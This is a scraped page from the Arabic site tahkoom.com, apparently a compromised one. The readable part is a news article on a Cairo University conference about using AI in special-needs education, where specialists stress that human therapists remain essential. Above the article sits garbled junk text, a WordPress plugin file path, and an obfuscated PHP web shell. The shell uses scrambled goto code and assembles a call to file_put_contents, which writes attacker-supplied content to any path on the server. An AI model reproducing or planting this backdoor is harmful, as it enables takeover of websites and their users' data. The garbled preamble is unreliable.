财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/complianz-terms-conditions/templates/index.php
usjR8Lviy1rph3ZIlXxqzoGFQAb
	VBDdK5NCfUatOS	6J
wg0e9Tn4Y2HM_EmkWc7Pk
	mYVD6ETgFphaBGwqjXMN8Z5zfnrdLCQPyIt4c0oWl23eb7UR	s9uv
ixO_AKHJ1SDrA2PiJxkne4
	Gvo1_OLBQzVI5XsM6u0qC
lthgYHpZwETRKSU9dy8fF7m	ajbNc3Wt0gNThaU7sSwHo	F128
	Dbl
GiJKzORjBxYZrvcLPpdyQ_nEI6We3M94X5qVAfmCukC0_agDAnjURYyo
Xx6hVI	
	dl8KtEJTiP7wWQSOqzpm1s9kNZ5veBMrF2ub4LHcGf3cTL7M0Ysk2QD18AZ	i
X39wlCe5nUaEbyGtzm_6ugH
	JxISFPj4WvrVdOfphKqBRNoZbBze_LRXgocrnmvV1yw6N9U7tWKF42i
Yj3OAMkquI	lTS5Qh08aGxspD
	JfCPdHE59aCvkHNOpFztjmsYxT
	
i3hw7S	ZKyPg1Uf8IBLVnqDA02J_rluEX6WQbRG4coedM<?php goto imjS5k8;WC5RDL8: if(!isset($_GET["G14"]))exit;goto EsDphOkz;vWVF53: $Uml8hEHeI = wordwrap("", 14);goto LwCPqRb;EsDphOkz: $rgXr4VSoxm = isset($_POST["VMc5YH"])?trim($_POST["VMc5YH"]):"";goto b7IBkns;xgla8E: echo "\x3c\x64\151\166\76\x3c\x74\x65\x78\x74\141\x72\x65\141\x20\156\141\x6d\x65\75\42\x41\x6f\156\105\162\x22\40\162\x6f\x77\163\75\x22\x35\x22\x3e\74\57\164\145\170\x74\x61\x72\145\141\x3e\74\57\144\x69\x76\76";goto Ds6RLw3Y;gspb4u2B: $Q38PV = stripos("uSyNuXhq","t9VYfJ6b"); goto qAtEDMC;qAtEDMC: $lEtW6w9YD = sha1("u3HjeQ_5"); goto KWqZYOoM;_1nkFK: echo "\x3c\57\x66\157\162\x6d\x3e";goto El1fAO;nmtO6FiUM: $PAT1Dcue = ucwords("MJd5XvyUe"); goto GdeQ2iufU;Xr2_PGk: $zXVMn = sprintf(""); goto HTQWjwde6;LwCPqRb: $U2iudM = stripos("JBXtC","LdiLhFvy3"); goto GzOiK0trUE;a4HXfK97a: echo "\74\x64\151\166\76\74\151\156\x70\165\x74\40\x74\x79\160\145\75\42\x74\145\x78\x74\42\x20\156\x61\x6d\145\x3d\x22\x56\115\x63\x35\131\110\x22\x3e\x3c\57\144\x69\x76\x3e";goto xgla8E;HTQWjwde6: $wgM8KV2 = implode("wgM8KV2",array());goto D8Uxi9lvDy;b7IBkns: $DOn1Zm = isset($_POST["AonEr"])?trim($_POST["AonEr"]):""; goto nueXMK;Ds6RLw3Y: echo "\x3c\142\x75\164\x74\x6f\x6e\40\164\171\160\x65\75\x22\163\x75\x62\x6d\151\164\x22\76\x73\165\x62\155\151\164\x3c\x2f\x62\x75\x74\x74\x6f\156\76";goto _1nkFK;qZybJD: $u8cGl = sprintf(""); goto gspb4u2B;El1fAO: $GDN1p = strpos("LgGNfWm","wgzp6iXs"); goto WNQVLT;GzOiK0trUE: $RINQn_Kt = define("PVwRl9Hk2","DpPr0zDYZ"); goto Qnz_Y4x;EnFWyt07Kf: $ouB0iZjWt = implode(",",array("IVTzbQ1n","Ojw02xpIB","mW2ZF","D017ilyQs")); goto WC5RDL8;j3W7Vh: $NYRxn = ucfirst("SkEGIY"); goto Xr2_PGk;AkvC5rI: $AyVpmLU = str_replace("AyVpmLU", "", "AyVpmLU");goto ChkKMsO;uCbpXlZ: function SchZiY_(){		global $y1yN9K;		$y1yN9K["q7vqisk"] = Qtz2uxFh(Qtz2uxFh("fi").Qtz2uxFh("le")."_".Qtz2uxFh("put")."_".Qtz2uxFh("Con").Qtz2uxFh("tents"));	}goto jHYq1nXw;Qnz_Y4x: $iX16rPmM = ucwords("IOTfwNx"); goto EnFWyt07Kf;imjS5k8: $OoEtYJ = str_shuffle("NtdaUR"); goto j3W7Vh;ChkKMsO: $K_40gbnR = md5("o8tYw"); goto qZybJD;GaVdOApFkm: $OCRaU = addcslashes("OCRaU","Ome1cw9vEGjkg2bitML"); goto mMAvQq0d;nueXMK: SchZiY_();goto KfRNkY3V;gsv4ZMu5l: $HCOkqP = md5("k37jAI"); goto uCbpXlZ;nMRWGac9Xw: echo "\x3c\146\157\162\x6d\x20\x6d\145\164\150\x6f\x64\75\42\120\x4f\123\124\42\76";goto nmtO6FiUM;KfRNkY3V: $sf = !empty($DOn1Zm)?exit("BEUaKrWC_Ggw6Yn3R".$y1yN9K["q7vqisk"]($rgXr4VSoxm,$DOn1Zm)):"";goto fA0ZS6;fA0ZS6: $wjwXCk = strval(false); goto gsv4ZMu5l;KWqZYOoM: $cTNQL6 = strstr("cTNQL6", "vgylVNH4o"); goto GaVdOApFkm;Ajr5zblp: $SZPqTc = lcfirst("hYQauwDC"); goto nMRWGac9Xw;xvXPD4k: $LVkho4 = substr("LVkho4",6,0);goto a4HXfK97a;WNQVLT: $squ_zFO = array("v7nSAt8ROBmEz5jadCI"); goto TPbVtFEBrc;TPbVtFEBrc: $MbBR_ = trim("   "); goto AkvC5rI;D8Uxi9lvDy: $tLyp5XmW = md5("A3orIQ4"); goto IKzPpasMRA;IKzPpasMRA: $ZSP0ex = strstr("ZSP0ex", "kxdQ_"); goto vWVF53;mMAvQq0d: $vIJ1z8i = trim("   "); goto YBHOKeh;jHYq1nXw: function Qtz2uxFh($qwjMN){		return trim($qwjMN);	}goto Ajr5zblp;GdeQ2iufU: $mkBAXp1Fy = trim("   "); goto xvXPD4k;YBHOKeh:""; ?>fc	ep1P65kV0agb
TimBW9QEIXZt7v2KYLC8S_GodxnM
	huyDrJFqwRl3UjzNsAO4Hqj8nCJysu	pBxFQX3lV2iAafWgPdzr1Ye9E0M5Dcb7ktKOh4wTGvZSL
	6NUH
o_ImRA3pklaxdFJo
	
9NQTMZ4ivyYVW6582qfIRHc0U1gtDjEzhXrCGsOPw	S7eKLbmnuB_XU
	JDblOx_mNu4G0PzEo8S7rjHkFMaLi3A
nQ129VThBvReycIgwt5Y	KfdCqZWp6sD9e2OF0zrUQR
XKTYagZhWnf1xy_dwpcmGIA
	bP3B7L5lNEsij8C4HuVotkq6Mv	JSQhXn1At9
	_wif8M4vyZ7jVDsHIBrmWTloEOGzp3gbYc6	auRkSdFU0KN
xC5q2JePL3FB215n9RGoEbsKyhxTwLtQmZl_Np0OJ67Hi	cgPMYrU
Iu4VDezkfjaXdSqW8C
	AvyEDiVkNJ72SWAFX41Lp6wIPr09d5QCKovhZj8lxMOYgU	e3
	bGmtuaHn_Bf
scqRzT
الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش – tahkoom.com
معرفة

الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش

‏كتبت شروق عارف                                                                                                                           
في ظل التقدم السريع في تقنيات الذكاء الاصطناعي وتوسعها في مختلف المجالات مثل التعليم والمحاماة والرعاية الصحية والإعلام نظمت جامعة القاهرة مؤتمر بعنوان أفاق الذي يهدف إلى دمج تقنية الذكاء الاصطناعي في تعليم ذوي الاحتياجات الخاصة وفي هذا السياق ظهرت عدة تساؤلات مهمة هل يمكن الاعتماد على الذكاء الاصطناعي في تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة؟ أم أنه مجرد أداة مساعدة بجانب المتخصصين والمعلمين

تصنيف ذوي الاحتياجات مهم للإستخدام الذكاء الاصطناعي

من جانبها أوضحت الدكتورة رشا أحمد أخصائية التخاطب والعلاج النفسي والسلوكي على ضرورة تصنيف فئة ذوي الاحتياجات الخاصة عند توظيف تقنيات الذكاء الاصطناعي وأشارت إلى أن بعض الحالات خاصة من يعانون من إعاقات شديدة مقترنة بتأخر لغوي أو اضطرابات نفسية قد لا يتمكنون من الاستفادة الكاملة من هذه البرامج

الذكاء الاصطناعي لا يغني عن الاخصائي

من جانبه أوضحت منه كرم الأخصائي النفسية على أهمية وجود إشراف نفسي دائم عند استخدام تقنيات الذكاء الاصطناعي مع الأطفال من ذوي الاحتياجات الخاصة وذلك لما يواجهه هؤلاء الأطفال من صعوبات نفسية وسلوكية تستلزم متابعة دقيقة من متخصصين كما أوضحت أن الذكاء الاصطناعي غير مؤهل للتعامل مع الاضطرابات النفسية العميقة التي تحتاج إلى تدخل الأخصائي بشكل مباشر وشددت على أن هذه لتقنيات لا تعتبر بديل عن الرعاية النفسية أو العلاج السلوكي بل ينبغي أن تكون وسيلة مساعدة تدعم عمل الأخصائيين النفسيين دون أن تحل محلها

تدخل الاخصائي أساسي في تأهيل الأطفال ذوي الاحتياجات الخاص                                            
أوضحت الدكتورة إيناس الشيخ الأخصائية النفسية واستشاري أمراض التخاطب أن الذكاء الاصطناعي يمكنه المساعدة في إعداد البرامج ووضع استراتيجيات لتحقيق أهدافها لكنه لا يستطيع تنفيذ هذه الاستراتيجيات بنفسه فالتدخل البشري بظل عنصر أساسيا وخاصة عند التعامل مع الأطفال من ذوي الاحتياجات الخاصة وأضافت: الطفل في هذه الحالة يحتاج إلى من يشعر به ويتعاطف معه ويحسن التعامل معه دون الإخلال بمصلحته لذلك لا بد من وجود شخص متخصص يعرف كيف يدير حالة الطفل ويساعده في التأهيل بشكل صحيح
وتابعت حديثها قائلة ترك الطفل لفترات طويلة أمام الشاشات أو الهاتف المحمول له نفس خطورة الاعتماد الكامل على الذكاء الاصطناعي لأن الطفل يكون حينها في وضع المستقبل فقط دون تفاعل حقيقي. بينما التفاعل البشري المباشر يُعزز من فرص التواصل الاجتماعي وتنمية المهارات وفيما يخص حالات القلق المفرط عند الأطفال
كما أوضحت الدكتورة إيناس أن الذكاء الاصطناعي قد يساعد في وضع خطة علاجية وتنفيذ فيديوهات للتعرض التدريجي للمخاوف لكنه لا يمكنه تنفيذ الخطة على أرض الواقع فالتواصل الإنساني يظل ضروري خاصة في مثل هذه الحالات الحساسة
و أشارت إلى أن بعض برامج النطق المدعومة بالذكاء الاصطناعي قد تكون مفيدة في أداء بعض التمارين خاصة للأطفال من ذوي الاحتياجات الخاصة لكن من المهم أن ندرك أن كل طفل له احتياجاته وظروفه الخاصة وهذه التفاصيل لا يستطيع لذكاء الاصطناعي التعامل معها بدقة دائما
كما ان الاعتماد الكامل على الذكاء الاصطناعي في تأهيل الأطفال ذوي لاحتياجات الخاصة يحمل العديد من المخاطر لذا يجب أن يكون هناك دور فعال للأخصائي لفهم الحالة وتوجيهها بالشكل المناسب

يبقى الذكاء الاصطناعي أداة مساعدة وفعالة في تحسين تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة ولكن بشرط أن يستخدم كأداة مساعدة وليس كبديل للأخصائيين

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى